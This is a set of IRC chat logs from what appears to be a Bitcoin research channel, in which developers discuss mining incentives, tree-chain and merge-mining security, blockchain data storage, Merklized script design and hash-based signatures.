05:55 < gmaxwell> (but really, it's a lot more work to use: you have to run bitcoind.. which is like a day plus of install time and 15 gb of disk space and means you can't run on a rasberry pi)
05:55 < gmaxwell> (then you have to run p2pool, which is at least pretty easy)
05:55 < adam3us> to me 3% is phenomenally high, maybe i should start a pool with lower fees that refuses no GBT miners
05:56 < gmaxwell> vs: plug in miner, type in url. Recieve bitcoins.
05:56 < gmaxwell> adam3us: then you're suspect because you charge too little, obviously the majority of people paying 3% or more are getting something of value!
05:56 < gmaxwell> plus for non-PPS pools, being a small pool means you have enormous variance, you're objectively less good.
05:57 < gmaxwell> (or at least, very small pool)
05:57 < gmaxwell> (once you're finding a block a day the variance is probably not so bad)
05:57 < adam3us> gmaxwell: yeah the reality of decisions people make is sooo stupid that moderately smart people cant even comprehend or predict the market outcomes
05:57 < warren> sigh, I really thought at least one person would have donated there.
19:46 < petertodd> what's nifty about it, is a core bit of the trust would be the exact same merkle-sum utxo tree that Bitcoin itself might have one day
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22:03 < realazthat> sipa: ping
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03:23 < sipa> realazthat: yes?
03:23 < realazthat> I had a question but I'm following the boston situation :P
03:24 < realazthat> O
03:24 < realazthat> er
03:25 < realazthat> I'll ping you when I wake
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20:46 < vazakl-> sup
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03:09 !zelazny.freenode.net [freenode-info] if you're at a conference and other people are having trouble connecting, please mention it to staff: http://freenode.net/faq.shtml#gettinghelp
15:13 < DrChill> About to make a bot that buys and sells +0.75%, thoughts? It would get the average price after a successful buy+sell, and then use that to make the next trade
15:14 < realazthat> so you make money assuming bitcoin goes up
15:14 < realazthat> eventually
15:14 < realazthat> in that case, why not just buy and hold?
15:14 < realazthat> hmm dunno
15:15 < DrChill> It would buy low and sell high but in small increments
15:15 < DrChill> So even if the market is stable, it would profit
15:15 < realazthat> try it on old data :D
15:16 < DrChill> Indeed, I used to do something like this on a game, and made some profit doing it, should be fun to make :)
15:18 < realazthat> lol
15:49 < sipa> DrChill: off topic here
15:50 < DrChill> sipa: Ah, ok, sorry
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19:11 < amiller> i've been working on a couple new thoughts
19:11 < amiller> about incentive modeling
19:11 < amiller> i think the coinbase maturity time is hamrful
19:11 < amiller> i'll explain why
19:11 < amiller> lets say for now my model is some mix of attacker / honest / rational miners
19:12 < amiller> where all of the miners have to pay their mining costs, and the key thing about the rational ones is that they have to earn at least enough profit to pay off their costs otherwise they don't participate
19:13 < amiller> what we want, and what seems to generally be the case, is that it's rational to act like the honest nodes, in other words building on the longest valid chain you know about
19:14 < amiller> and basically the reason why that's rational is because if you mine on any smaller chain, it's more likely that someone else will extend the other block rather than yours so it will be wasted
19:14 < amiller> this breaks down under some conditions.
19:14 < amiller> the particular scenario i want to focus on is when there is an enormous anomalous fee paid in a single block
19:15 < amiller> think of a million dollar transaction fee
19:15 < amiller> suppose someone mines that block and claims that whole fee
19:16 < amiller> you have a choice of either trying to mine your own block and claim the fee for yourself or building top of that other guy's claim
19:18 < amiller> if you assume everyone else is honest, then you stand a lot more to gain by working on your own block
19:18 < amiller> that means it is not a nash equilibrium to work on someone else's block.
19:18 < amiller> ok so
19:19 < amiller> on the other extreme, you have to consider that even if you succeed at mining the block, it's possible other people won't extend yours anyway
19:19 < amiller> so!
19:20 < amiller> what's the optimal behavior/
19:20 < amiller> you try to mine on the other block
19:20 < amiller> but if you succeed
19:20 < amiller> you take only a tiny bit of the fee for yourself!
19:20 < amiller> you broadcast a new transaction that puts most of the enormous fee back into the mempool!
19:21 < realazthat> hehe
19:21 < realazthat> or,
19:21 < amiller> now everyone would be fighting over that block more than yours
19:21 < amiller> so the nash equilibrium is when you take exactly what the cost of the work is
19:22 < amiller> because that's when no one has any incentive to remove your work for only a marginally higher rewards
19:22 < realazthat> you "make a deal" with a bunch of mining coops to fork at that very block, giving rogues a chance at that fee
19:22 < realazthat> or is that one of your suggestions
19:22 < realazthat> mm nvm
19:22 < realazthat> I think its the same thing
19:23 < amiller> now notice how the coinbase maturity prevents the nash equilibrium strategy from being reached
19:24 < amiller> because the only way someone could create that offshoot transaction to keep progress going forward
19:24 < amiller> is if you have unbounded budget in reserve
19:24 < amiller> because you can't use your coinbase transaction that earns the huge fee to create a transaction for them to include in the next block
19:25 < amiller> therefore the coinbase maturity actually *encourages* anti-consensus behavior
19:25 < amiller> it makes it impossible to take anything less than the whole damn rfee
19:25 < amiller> thus greatly increasing the value in quibbling over a big fee
20:20 <@gmaxwell> amiller: for some time I've wished that half the fee paid out in this block, and half of the rest paid out in the next block and so on.
20:21 <@gmaxwell> amiller: but this creates incentives to pay fees externally.
20:21 < amiller> i think my solution is great
20:21 < amiller> it means it's an auction
20:21 < amiller> you should take as much of the fee for yourself as you can except to the extent it makes it more likely for someone else just to outmine you
20:21 < amiller> actually i can be a litlte more specific than that
20:22 < amiller> nvm no i can't
20:25 <@gmaxwell> amiller: I don't think that actually matters, you'd just force people to pay you out of band instead of via direct fees.
20:26 < amiller> gmaxwell, i don't see what you mean
20:27 <@gmaxwell> amiller: the equlibrium state is that there are no fees in transactions at all, and people are just paying miners via some other means.
20:29 < amiller> i don't see why that's an equilibrium either
20:30 < sipa> i think the equilibrium state is that people who care about security, run a miner themself
20:30 < sipa> to get their own transactions mined
20:31 < amiller> i don't see how that helps security either
20:32 < amiller> anyway there's at least two different types of roles here, the miners and the users, and for the sake of the discussion i originally meant to hold the users constant
20:32 < amiller> where they pay whatever the fees are worth and the only way to do it is via transaction fee
20:33 < amiller> i don't understand how the ability to pay people out of band changes it or why that's cheaper/preferable
20:33 < amiller> or why mining your own transactions helps anything
20:36 < sipa> 'equilibrium' != 'helps'
20:37 < sipa> (but i'm not very knowledgeable about this, so if you don't agree, assume i'm wrong)
20:40 <@gmaxwell> amiller: because in my example there are no 'fees', and so incentive to orphan transactions.
20:42 < amiller> gmaxwell, i don't understand how this side payment mechanism works, so i don't really understand what you mean
20:43 <@gmaxwell> amiller: E.g. you send me shares and I pay you with regular bitcoin transactions just for virtue of trying to mine my transaction.
20:44 < amiller> and that's more cost effective than attaching a fee to a transaction
20:44 <@gmaxwell> it removes any orphaning incentive.
20:47 < amiller> sorry what's an orphaning incentive
20:48 < amiller> the only reason to pay tx fees is to be included in the next block as opposed to some later block right
20:55 <@gmaxwell> 16:14 < amiller> this breaks down under some conditions.
20:55 <@gmaxwell> 16:14 < amiller> the particular scenario i want to focus on is when there is an enormous anomalous fee paid in a single block
20:55 <@gmaxwell> 16:15 < amiller> think of a million dollar transaction fee
20:55 <@gmaxwell> 16:15 < amiller> suppose someone mines that block and claims that whole fee
20:55 <@gmaxwell> 16:16 < amiller> you have a choice of either trying to mine your own block and claim the fee for yourself or building top of that other guy's claim
20:55 < amiller> oh i see
20:57 <@gmaxwell> also on that subject petertodd has suggested that all users should nlocktime their transaction at the earliest height they think they could be reasonably mined at... so the chain must move forward to gobble up those fees.
20:57 < amiller> so my solution is for the miner who mines to put the rest back as a fee for the next miner to take
20:57 < petertodd> keep in mind, the worst case scenario only happens with optimal miners who have actually implemented code to do all this magic stuff. If you make it nearly always not worthwhile that code won't exist.
17:22 < sipa> bitcoin (at the protocol level) isn't designed for microtransactions
17:27 < phantomcircuit> arbart, trust a third party
17:27 < phantomcircuit> remember that the transactions are micro
17:30 < sipa> #bitcoin-dev please, btw
17:31 < arbart> sipa, cool, that is what i was wondering then i guess
17:31 < arbart> and alright, what is the purpose of this channel then, I thought it was similar?
17:33 < Luke-Jr> this channel is more like extreme advanced stuff that isn't really practical :p
17:33 < arbart> well that is what I like :)
17:33 < sipa> arbart: oh, i misread your line
17:34 < sipa> i thought you said "what is the state of enabling microtransactions", which would apply to bitcoin-as-it-exists today
17:34 < sipa> for state-of-the-art, there are some more interesting ideas
17:34 < sipa> like probabilistic transactions
17:34 < arbart> yes, now you are talking :) why i came here
17:36 < gmaxwell> probablistic transactions are more of a social/political challenge than a technical one. (I think the lottery protocols iddo/adam3us worked on can basically be applied directly to create a probablistic payment)
17:37 < arbart> ah interesting, i didn't find this before, now searching 'probabilistic transactions', i find much stuff! sipa, thank you already!
17:37 < sipa> arbart: gmaxwell certainly has more state about it than i do
17:39 < arbart> gmaxwell: what is the social/political challenge you see with it?
17:39 < Luke-Jr> arbart: 'probabilistic transactions' essentially means 9 times out of 10, you get nothing, and the 1 other time you get a penny
17:40 < gmaxwell> arbart: Many people seem to not regard a probablistic payment as a payment.
17:41 < arbart> ok, i'm starting to see. reading https://bitcointalk.org/index.php?topic=62558 right now.
17:43 < sipa> gmaxwell: many seem to not regard playing lotto as paying tax either
17:46 < gmaxwell> sipa: People are implementing batch DSA verification in this thread: https://bitcointalk.org/index.php?topic=427025.0
17:46 < arbart> it is interesting so far :)
17:46 < arbart> i understand it now
17:47 < sipa> gmaxwell: how do they overcome not knowing R.y?
17:47 < arbart> i think i am in -wizards and not -dev is because stuff like that gmaxwell is good to have, but not enough a solution, something more extreme :) is needed
17:48 < gmaxwell> sipa: brute force.
17:49 < arbart> i suppose it is hard to tell though, that looks interesting, and combined with pruning and all, might be enable native nanotransactions
17:50 < petertodd> arbart: pruning doesn't make the bandwidth problem go away unfortunately
17:50 < gmaxwell> sipa: basically you guess the sign and test and apparently this still comes out ahead.
17:50 < gmaxwell> arbart: native nanotransactions
17:50 < gmaxwell> doesn't really sound sensible in a global consensus system.
17:50 < arbart> :)
17:50 < gmaxwell> Now, you can do things to perform them non-globally and that perhaps becomes more interesting.
17:50 < arbart> hmm :)
17:50 < petertodd> arbart: now, an interesting question is if you really need global consensus? I think there are blockchain structures that don't
17:51 < arbart> ahh, right
17:51 < gmaxwell> So there are a couple paths to relaxing that which have different tradeoffs.
17:51 < petertodd> arbart: right now just trusting a third-party is probably far more practical
17:51 < arbart> maybe global checkpointing, but only local is interested in the details usually, etc?
17:52 < petertodd> arbart: trusting third-parties and non-global-consensus blockchains have interesting convergence re: security I suspect
17:52 < gmaxwell> are you just stringing words togeather? :P
17:52 < arbart> i understand the third-party thing, another avenue im interested in
17:52 < petertodd> arbart: global *ordering* is a better term
17:52 < petertodd> arbart: heh, lets see if I can explain my pet idea to you re: tree-chains... so imagine you have a blockchain, and you merge mined two child chains with it, left and right.
17:52 < arbart> only out of the necessity you think is there
17:52 < petertodd> arbart: you know what merge-mine means?
17:53 < arbart> ok, i get that term
17:53 < arbart> petertodd: not yet
17:54 < petertodd> mining: I find a pow solution so that my block will be part of the consensus
17:54 < petertodd> merge-mining: the rules of the system let me re-use a pow solution from a different consensus system, letting me do one bit of work, yet get two blocks from two different systems
17:54 < arbart> ok, intuitive :)
17:55 < petertodd> merge-mining is implemented by just letting you prove the block solution for sytem #2 by showing a merkle path through some tree that terminates in the blockheader for system #1
17:55 < petertodd> (namecoin does this)
17:56 < arbart> ok, i was guessing that, so i think i got it :)
17:56 < petertodd> right, so we have the parent chain, and two child chians, left and right, got that? you can mine the parent chain, or the parent chain and the left chain, or parent and right chain (in our system)
17:57 < arbart> petertodd: was just about to prod you :)
17:57 < petertodd> basically it's *exclusive*, you can only mine the left *or* right child chain (or neither)
17:57 < arbart> oh ok, noted
17:58 < petertodd> this means the work done on these child chians will tend to be half that of the parent (assuming the reward is halved for instance)
17:58 < petertodd> however, this also means that a given miner only needs the data, and thus bandwidth, cost of the parent and one child. so the total # of transactions in both children can be higher and the system still works
17:59 < petertodd> the downside is that transactions in either child chain have less security, it only requires 25% of the hashing power to reorg that chain as the parent chain
17:59 < petertodd> got that?
17:59 < arbart> oh wow, yes, a load balancing mechanism :) thinking about the security aspect though
18:00 < petertodd> yeah, so we've figured out how to make it more scalable, now, what about the security? well, lets make a new rule! if a pow solution for a child chain *also* meets the difficulty of the parent, we say that block is fixed - it's only allowed to be reorganized if the parent chain itself gets reoganized
18:01 < petertodd> now it takes 50% of total hashing power to attack the child chain right? nope
18:01 < petertodd> can you guess why?
18:01 < arbart> i guess im missing the reorganized part
18:02 < petertodd> reorg just means work is done to extend a block other than the current best block, so when your node learns about the longer chain, suddenly the shorter one is made invalid by definition
18:02 < arbart> well at least because only half the network is working on each side of the chain?
18:02 < petertodd> remember, the problem bitcoin is trying to solve is consensus on what's the longest chain
18:02 < arbart> ah nice okay, was just missing that definition
18:02 < petertodd> arbart: sure, but an attacker can still get some hashing power somehow and reorg one of those child chians, and they only need 25% of the total hashing power to do that
18:02 < arbart> or word i mean
18:03 < petertodd> good
18:03 < arbart> ah right, half of half, got it now.
18:03 < petertodd> yup
18:04 < Luke-Jr> petertodd: you coming to Miami?
18:04 < petertodd> so here's the question: with this fancy "parent chain locks things" scheme, why can the child chain be still attacked with just 25% hashing power?
18:04 < petertodd> Luke-Jr: isn't that, like, right now?
18:04 < Luke-Jr> petertodd: tomorrow :p
18:04 < petertodd> Luke-Jr: heh, nah, tomorrow's my last day of work, couldn't make it
18:05 < petertodd> Luke-Jr: how long does it go? I guess I could strictly speaking... :P
18:05 < Luke-Jr> Saturday and Sunday is the main conference! :p
18:05 < petertodd> Luke-Jr: heh, nah, too tight
18:05 < arbart> hmm, that is a sucky result, a good question to analyze, in order to make sure it is right :)
18:05 < Luke-Jr> Friday is just the pre-conference thing
18:05 < petertodd> arbart: Well, lets think this through: what does attack mean anyway?
18:06 < petertodd> arbart: So, I could attack the chain by making only empty blocks and make it useless, I could also attack it by reorganizing it and double-spending transactions... but there's one other thing I can do.
18:06 < arbart> well the value of what they are attacking is also half i suppose. that counts for enough to throw the game theory?
18:06 < Luke-Jr> petertodd: the first case is debatable
18:06 < petertodd> arbart: maybe! but what if they're just assholes and want to burn the world?
18:07 < petertodd> arbart: we might as well know how much said assholes need to spend
18:07 < arbart> so the one you didn't list is to just not allow new txs to be added?
18:07 < petertodd> Luke-Jr: for sake of argument, we'll say empty blocks are an attack
18:07 < petertodd> arbart: yup
18:07 < gmaxwell> "making only empty blocks and make it useless"
18:07 < arbart> ok, heh, that is the main one i knew about
18:07 < petertodd> arbart: oh, sorry, no, there's one I didn't list that's more subtle
18:08 < arbart> petertodd: ok, i understand, and agree with that knowledge being valueable!
18:09 < petertodd> arbart: I'll give you a hint: this rule where a particularly good PoW "locks" in the chain, how would you actually implement that?
18:10 < arbart> oh my, so put in their own entire child chain?
18:10 < petertodd> well, here's the big thing: in this scheme I'm assuming that miners mining these child chains also have full consensus on the parent, and all associated data
18:10 < arbart> i wondered about the exact implementation of what you asked there, but did not forumlate or see how it is done yet.
18:11 < petertodd> yeah, implementation is critical
18:11 < arbart> ok,
18:11 < arbart> i was thinking it wouldn't be that easy for my fear there
12:39 < petertodd> Luke-Jr: Like it or not sometimes there are *very* good reasons to be able to prove that the whole of Bitcoin was able to see your data.
12:40 < Luke-Jr> petertodd: not good reasons to force the whole of Bitcoin to see/store data they never consented to see/store
12:41 < petertodd> Meh, Bitcoin can be a better financial system with some of these uses.
12:42 < jgarzik> Luke-Jr, disagree. Plenty of uses for timestamping. That alone could revolutionize accounting and finance, in a way that bitcoin-the-currency doesn't IMO
12:42 < jgarzik> gotta strike a balance. the majority of users just want to transfer or hold bitcoins-the-currency.
12:42 < Luke-Jr> jgarzik: timestamping does not require cluttering the bitcoin blockchain
12:43 < Luke-Jr> just shove a hash in the merged-mining merkletree and that's it
12:43 < jgarzik> require? no. no other chain has the same strength, so rational economic actors will look at the strongest chain.
12:43 < jgarzik> yes, if there was an alt-chain for data, that all pool ops carried, things would be different
12:43 < petertodd> Luke-Jr: There are applications beyond timestamping you know - announce/commit sacrifices are a perfect example where genuine provably visibility is absolutely vital.
12:44 < Luke-Jr> petertodd: those are just timestamping too afaik
12:44 < petertodd> Luke-Jr: No they aren't: timestamping the announce is useless, you *must* prove that the whole of Bitcoin had the opportunity in advance to mine it.
12:45 < Luke-Jr> hmm
12:45 < Luke-Jr> how would a pre-announce merged-mined block not work for that?
12:47 < petertodd> Luke-Jr: Because if the alt-chain is merge mined by, say, 25% of mining pools your sacrifices are already so dubious as to be nearly worthless.
12:47 < petertodd> Luke-Jr: You need strong convincing evidence that the transaction really was visible to all.
12:47 < Luke-Jr> petertodd: not really. even 25% gives you 1 in 4 blocks
12:48 < Luke-Jr> you just need to wait 1-4 blocks additonal
12:48 < Luke-Jr> hmm
12:49 < Luke-Jr> yeah, I think it should be fine
12:49 < Luke-Jr> I do see another problem that affects it regardless of where the pre-announce is done..
12:49 < petertodd> Luke-Jr: It has nothing to do with waiting; the issue is that with 25% a 12.5% pool has sufficient hashing power to 51% attack the proof-of-visibility chain and create sacrifices that were never publicly announced and thus aren't true sacrifices at all.
12:50 < Luke-Jr> petertodd: tie the POV chain to the BC chain
12:50 < Luke-Jr> POV blocks are only valid if they're in the BC chain
12:50 < Luke-Jr> in fact, POV doesn't need a chain of its own at all
12:50 < petertodd> Luke-Jr: Again, that's irrelevant. You need to show that the chain was public knowledge.
12:51 < Luke-Jr> ok, so then make POV a chain again, and each POV block confirms the previous was visible
12:51 < petertodd> Only with a very high participation rate among Bitcoin miners is the proof any good, and frankly at that point you're in the same situation you were before with bloating up a blockchain...
12:52 < Luke-Jr> not the same situation, no
12:52 < Luke-Jr> *users* don't need it
12:52 < petertodd> That's the thing, all it confirms is that x amount of hashing power saw a given transaction, if that x is even just 25% of the main Bitcoin blockchain the proof is already pretty dubious.
12:53 < petertodd> Announce/commit sacrifices already have the issue where you really need to discount them by 50% from the get-go to be sure, and at least 10% or so even if you aren't being cautious.
12:54 < Luke-Jr> why can't you just have a rule that the redemption of a send-to-any must occur in a separate block from the send-to-any itself, to be valid?
12:54 < petertodd> Well, indeed, any type of sacrifice to mining fees, with the possible exception of ones that are only spendable way in the future - months - which can't be done with the current scripting system.
12:55 < petertodd> Luke-Jr: That's what I proposed on the mailing list, and that's a soft fork. The other way is to do the sacrifice as a anyone-can-spend in the coinbase tx.
12:56 < Luke-Jr> petertodd: it's not a soft fork, it just has a risk some miner is a jerk and screws you :p
12:56 < petertodd> Luke-Jr: um... yeah... That's about a 100% risk if fidelity bonds are used even just a bit.
12:56 < petertodd> Luke-Jr: Who doesn't want free BTC?
12:57 < Luke-Jr> too bad there's no nLockTime for scriptPubKeys :P
12:58 < petertodd> Yup...
12:59 < petertodd> Anyway, point is, that's just one example where visibility proofs are essential, and there are a whole lot more out there... dismissing any and all data from the blockchain goes too far.
13:10 < Luke-Jr> I still see no need for it to be part of the BC blockchain
13:11 < Luke-Jr> a merged mine chain can be just as effective while not forcing itself on people who have not agreed to it
13:20 < petertodd> Like jgarzik said with this stuff you want to go for the strongest blockchain, and that'll be Bitcoin. Even merge mining doesn't help there because you are never going to get 100% participation, and if you do, it's damn near equivalent to putting it in the blockchain anyway.
13:22 < Luke-Jr> only equivalent for miners, not for everyone else
13:23 < Luke-Jr> and forcing people to do things against their consent is not justified to get 100%
13:23 < petertodd> Pff, don't give me that consent crap. If you want to enforce that, enforce it with code.
13:23 < Luke-Jr> exactly my point
13:24 < Luke-Jr> POV code should be written so that people can't force others to participate against their consent.
13:24 < petertodd> People run code that accepts arbitrary data right now; to say they aren't consenting to what the code they are running allows is silly.
13:24 < Luke-Jr> ie, if you don't use the merged chain, I won't recognize your proof
13:24 < petertodd> No, Bitcoin-Qt should be written to match what the users wish to consent too.
13:24 < Luke-Jr> petertodd: no, it isn't silly
13:25 < Luke-Jr> yes, gmaxwell proposed a solution to fix this problem on the Bitcoin side
13:25 < petertodd> If we wanted to govern ourselves by social rules we would be using something other than Bitcoin...
13:25 < Luke-Jr> Bitcoin != anarchist
13:25 < petertodd> yup, and gmaxwell's solution works well and if the userbase wishes to they can use it - if you are so concerned about this go and implement that solution!
13:26 < gmaxwell> feh. never that simple.
13:26 < petertodd> But don't give me crap about consent when people are willingly running code that works otherwise.
13:26 < gmaxwell> In a frictionless enviroment what you say is true, but we're not in a frictionless enviroment.
13:28 < gmaxwell> It's not like accepting my hash preimage stuff
even if it were all implemented and tested
is costless. A lot of people would resit it because they're simply unsure or don't understand the implications, even people who are very concerned about people stuffing troublesome data on their disks.
13:28 < gmaxwell> Go look at all the sites that will not pay to 3xxx adddresses. :(
13:28 < petertodd> That is true, but going and pouting that people are putting data in the blockchain obviously doesn't stop people from doing so - technical measures stop people.
13:29 < gmaxwell> I don't agree completely. Society is part of how this works too. Pouting influences behavior, including technical ones. It may, in fact, be a necessary precondition to deploying the technical solution.
13:30 < gmaxwell> We have lots of tools in our toolbelt, and we'd be fools to not use all of them because we've fixated on a particular kind of tool being right for a particular kind of problem.
13:30 < gmaxwell> Though, let me go back here a bit
13:31 < gmaxwell> If you're talking about data which is on the order of
32 bytes/txn ... well, you cannot securely bind a transaction to external data any smaller than that.
13:32 < petertodd> Don't get me wrong, I'm not going to say social measures are useless, my point is that they have proven to be not very useful again and again to anyone who has a reason to go against the social measures.
13:32 < petertodd> They're fine for discouraging people working on hobby projects, but that's about it.
13:32 < gmaxwell> Once you start getting bigger you have to worry that (1) deployment of the preimage stuff will actually break your system, (2) desire to preserve your system (I haven't followed the discussion, I assume you were talking about buting sacrifices in pubkeys?) might be used to argue against preimages, which kinda sucks.
13:33 < petertodd> gmaxwell: Well I was mainly using it as an example where you need a genuine proof-of-visibility and anything less just doesn't work.
13:33 < gmaxwell> amusingly I think that social measures are more effective against businesses han hobby projects
the latter is in a better position to say "fuck you, I don't care what _anyone_ thinks"
13:34 < petertodd> gmaxwell: In response to Luke's assertian that merge mine chains and merkle-trees for timestamping is always good enough.
13:34 < petertodd> The problem is in Bitcoin businesses are often totally anonymous, and the issues where the social measures matter are complex technical things.
13:35 < gmaxwell> petertodd: ultimately any idea that depends on getting unjammablity from bitcoin is really fragile, I think. Simply because capacity will kill you if nothing else does.
13:35 < gmaxwell> meh. doesn't really matter if they're anonymous or not, I can deny a business income by social ostracism of their _customers_.
13:35 < petertodd> On the other hand if you can architect in a way where limited capacity is ok, it's the best solution out there.
20:12 < maaku> oh i meant lazy vs strict parameter evaluation (e.g. Haskell)
20:12 < jrmithdobbs> after doing nothing but writing haskell for the last 2 months
20:12 < jrmithdobbs> lol
20:12 < sipa> tree pieces are delimited by choose operators
20:12 < maaku> yes you definately need lazy/short-cut conditionals
20:12 < petertodd> gmaxwell, sipa: remember that one potential way of doing this is rather explicitly with OP_EVAL and OP_HASH160 (essentially)
20:13 < gmaxwell> sipa: I think you could go further and have two kinds of choose operator, one that hashes and one that doesn't.
20:13 < sipa> gmaxwell: well there can be a regular ifthenelse operator
20:13 < sipa> that has no choose magic
20:13 < gmaxwell> right. fair enough.
20:14 < sipa> i'm saying the same thing i think
20:14 < sipa> except choose is special in that it explicitly takes a hash as argument, and not an expression
20:14 < gmaxwell> Right.
20:15 < petertodd> sipa: note that simple if-else-endif isn't sufficient if scripts or script fragments can return a value before reaching the end of the block - you might not want the rest of the block to be public
20:15 < sipa> but so is const or access, they don't take subexpression eithet
20:15 < sipa> petertodd: these are not imperative programs, there is no return operator
20:16 < sipa> they're just expressions
20:16 < petertodd> sipa: right
20:16 < gmaxwell> petertodd: even if there were you could always wrap hte hidden data with another choice.
20:16 < petertodd> gmaxwell: true
20:17 < sipa> yeah, choice is there to hide pieces of the script
20:17 < sipa> either because they are large
20:17 < sipa> or because they are private
20:17 < petertodd> sipa: hmm... so when is choice not something you can do with an if block?
20:19 < gmaxwell> (kind of a fun thing where we could make standard addresses a choice with ecdsa in one branch and then a hash based quantum hard signature in the other... and if there is a compromise of ECDSA we soft fork to deny ecdsa redemption while people redeem coins via the hash based signing.)
20:19 < sipa> i don't think it's really an if in any caze
20:19 < sipa> let me come up with an example
20:19 < sipa> to do a 1-of-2 multisig
20:20 < sipa> let's say scriptA is something that fetches a sig from the stack and verifies it with pubkeyA
20:20 < maaku> hrm. I just realized that by executing code from the stack Joy/Cat makes it difficult to Merklize...
20:20 < sipa> scriptB is the same, but for pubkeyB
20:20 < petertodd> sipa: right
20:21 < petertodd> maaku: you can still merklize the initial code up to where the stack is executed
20:21 < jtimon> maaku: that seems right, I guess AST-script it is
20:21 < sipa> now you construct a script of the form choice(scriptA,scriptB), and put its merkle root in the output
20:21 < sipa> however, to spend it
20:22 < sipa> you either use choiceL(scriptA,hash[scriptB])
20:22 < sipa> or choiceR(hash[scriptA],scriptB)
20:22 < petertodd> sipa: see, I'm not sure how that's any different from IF <executed ops> ELSE <hash> ENDIF
20:22 < petertodd> sipa: which is how I always envisioned MAST to work
20:22 < sipa> it's an if then else, but the if/else is hardcoded
20:23 < sipa> it cannot be an expression
20:23 < sipa> its runtime semantics is just the identity
20:24 < sipa> it only affects how the hash of the script is computed
20:24 < sipa> note that choiceL(scriptA,hash[scriptB]) evaluates to just scriptA
20:25 < petertodd> right, and by that I mean in the binary representation of a script, you'd have some way to signify a IF code block that must never be executed, followed by the hash, vs. one containing actual opcodes
20:25 < sipa> right, but i don't like to think of it in term of executable operations
20:26 < sipa> it's just a tree with certain parts covered, by giving a hash instead
20:26 < petertodd> well, we're using similar words for the same thing :)
20:26 < sipa> sure
20:27 < sipa> but i think your original question really was
20:27 < petertodd> see, my real point is, with merklized forth it gets even more sophisticated, because your symbol table is hashes of code, and potentially at runtime you'd do something more sophisticated there just get some chunk of code dynamically
20:27 < petertodd> yet you can still arrange such that code that's never executed is never provided
20:27 < sipa> that's over my head :)
20:28 < sipa> anyway
20:28 < sipa> one question is if there are other merkle-choosing-like operations possible
20:28 < sipa> which do not mimick if-then-else
20:29 < sipa> i think if you have some for(i in [0..n], f(i)) operator
20:29 < petertodd> sipa: tl;dr: forth can do the magic that lisp can do, not with macros, but with self-modifying code
20:30 < sipa> with n a constant integer
20:30 < petertodd> right
20:30 < sipa> then you can have a merkle version of it as well
20:30 < sipa> that takes the hash of the non-evaluated loops
20:30 < petertodd> and for that matter, you can do tail-recursion for loops too...
20:30 < petertodd> and that can still be merklized
20:31 < sipa> without needing to reveal how many loops you wanted to be possible
20:31 < gmaxwell> sipa: well ... if you have a homorphic hash you can do 1 of N execution more efficiently. Though I'm not aware of any way to do that which we'd consider in scope for this discussion.
20:32 < sipa> haha
20:32 < maaku> petertodd: how are you going to merklize forth?
20:32 < maaku> ah, are you thinking of replacing a quoted block with its merkle hash?
20:33 < petertodd> maaku: remember, we're merklizing the potential code that can be run
20:34 < petertodd> maaku: so if you end up with code that defines new symbols, but doesn't use those symbols, then the symbol definition doesn't actually need to happen if that particular execution trace doesn't use them
20:35 < gmaxwell> sipa: so, linear iterative compression.
20:35 < gmaxwell> say you have some straight line code that can stop at some point.
20:35 < maaku> petertodd: ok, in Joy at least "if/else" is handled like so (I think it's the same for Forth): <predicate-evaluation> [quoted-true-block] [quoted-false-block] OP_IF
20:36 < maaku> in other words, push the code on the stack before execution
20:36 < petertodd> maaku: correct
20:36 < maaku> so I suppose we can replace the branch not taken with OP_RETURN (when executing), plus an affixed hash value for what was there
20:36 < gmaxwell> ins0 1 2 3 4 5 6 7 8 you compute H(ins0....H(6|H(7|H(8))...) and then if you execute and run to step 4 and stop, you'd provide 0 1 2 3 4 H(5...H(8)).
20:37 < maaku> ok that would work
20:37 < petertodd> maaku: and a symbol is a chunk of code, so you have <predicate> Symbol1 Symbol2 OP_IF, and symbol2 never executes, then where the symbol is defined in the first place can be replaced with just the hash of the opcodes that would have been put there
20:37 < gmaxwell> I think that structure is not equal to choices.
20:37 < sipa> gmaxwell: that's exactly what i meant
20:37 < sipa> with the for loop
20:37 < gmaxwell> okay, good then I came about to the same thought.
20:37 < gmaxwell> is there something that generalizes those two? are there more?
20:38 < sipa> very good question!
20:38 < sipa> but it's really about some parametrizable control flow
20:38 < sipa> oh um
20:39 < sipa> this is an expression language
20:39 < sipa> a for loop doesn't really make sense
20:39 < sipa> but you can replace it by a fold
20:39 < sipa> fold(3,f,x) computing f(f(f(x)))
20:40 < petertodd> sipa: you know, you can replace a for loop with repeated opcodes, and zlib compression...
20:40 < sipa> where that recursive hashing becomes much more apparent
20:40 < maaku> jtimon: see above ^^
20:40 < jtimon> yeah
20:41 < sipa> petertodd: that doesn't allow hiding the number of iterations from the root hash
20:41 < jtimon> "Combinators in Joy behave much like functionals or higher order functions in other languages, they minimise the need for recursive and non-recursive definitions."
20:41 < jtimon> maybe it's relevant although I'm starting to get tired and following your interesting conversation gets harder
20:41 < petertodd> sipa: ah, your example of a for loop is to loop based on a stack constant, not a symbol constant?
20:42 < sipa> petertodd: based on a constant given in the spending script
20:42 < petertodd> sipa: yeah, that's different
20:42 < sipa> petertodd: but NOT given in what goes in the root hash
20:42 < gmaxwell> fundimentally the _maximum_ depth of the loop could be hidden. (mean I can describe a language that allows this)
20:42 < petertodd> sipa: yup
20:43 < sipa> yes, you need to know a maximum iteration count
20:44 < sipa> but you don't have to reveal it
20:45 < gmaxwell> might be interesting to describe a hash based winternitz compressed signature in this language, assuming there exists an OP_PUSH_TX_HASH ... I propose that if our choice operator(s) are good then a maximally efficient winternitz signature will be completely natural.
20:46 < sipa> .. you lost me
20:47 < gmaxwell> sipa: you know how a lamport signature works, right?
20:48 < sipa> more or less, yes
20:48 < gmaxwell> for each message bit x, reveal either preimage_x or H(x) depending on if the message bit is 1 or 0. The public key is just the root hash over this data.
20:50 < sipa> hmm
20:50 < sipa> i need to see that on paper
20:50 < sipa> but now now
20:50 < gmaxwell> winternitz optimization: take your message bits in groups of
4 bits. so your 256 bit message becomes 64 4 bits words. you have then 64 preimages. H( ... 16hashes total ..H(H(preimage_n))) and your message word selects how deep in this structure you reveal.
20:51 < sipa> right
20:51 < sipa> so you weigh a smaller signatures over deeper hashes
14:37 < adam3us> petertodd: in the next round everyone gets as many votes as they have on their public key and the result defines which tx is first
14:37 < adam3us> (its all random anyway, it doesnt even matter which is first, just that one is chosen)
14:37 < petertodd> Interesting! That could be a decent way to reduce variance, although sounds like distributing the blocks for them to be voted on could be bandwidth intensive.
14:38 < adam3us> if the reward comes direct, maybe people can direct mine
